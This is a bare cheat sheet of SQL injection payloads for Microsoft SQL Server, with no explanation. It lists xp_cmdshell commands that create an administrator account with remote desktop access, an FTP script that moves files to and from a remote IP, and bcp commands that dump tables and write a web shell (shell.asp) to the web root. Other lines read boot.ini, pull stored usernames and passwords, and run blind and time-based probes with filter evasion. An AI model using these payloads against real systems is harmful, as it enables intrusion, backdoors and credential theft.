C 11155
D 1882
E 135140

index.asp?id=1;exec master..xp_cmdshell 'net user user pass /add'-- 
index.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators user /add'
index.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" user /add'

declare @q varchar(8000) select @q=0x[HEX] exec(@q)

echo user '$user' '$passwd' > '$file'
echo type binary >> '$file'
echo get '$download' >> '$file'
echo put '$upload' >> '$file'
echo quit >> '$file'

ftp -n '$ip' < ./'$file'
del '$file'

bcp "SELECT * FROM db..table" queryout c:\inetpub\dump -c –S[server] –U[user] –P[pass]

;create table shell (code varchar(8000))--

;insert into shell (code) set values (‘|code|’)

bcp "SELECT code FROM shell" queryout c:\www\shell.asp -c –S[server] –U[user] –P[pass]

if ((select system_user) = 'sa' OR (select system_user) = 'test') select 1 else select 1/0

DECLARE @q int; EXEC @q = xp_cmdshell 'dir *.exe';IF (@q = 0) SELECT 0 ELSE SELECT 1/0

1=@@version--sp_password

;create table file(text varchar(8000))--

bulk insert file from 'c:\boot.ini '

select top 1 text from file

;drop table file

;begin declare @dump varchar(8000) set @dump =':' select @dump=@dump+' '+usr+'|'+pwd from users where username>@dump select @dump as ret into tmpusers end--

select top 1 dump from tmpusers

;drop table tmpusers

1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 table_name FROM dbo1.user WHERE id=1 AND name NOT IN(SELECT TOP 0 name FROM dbo1.user WHERE id=1)),1,1)),0)>1--

WAITFOR DELAY '00:00:00'--

if (select system_user) = 'sa' waitfor delay '0:0:25'

E/*comment*/X/*comment*/E/*comment*/C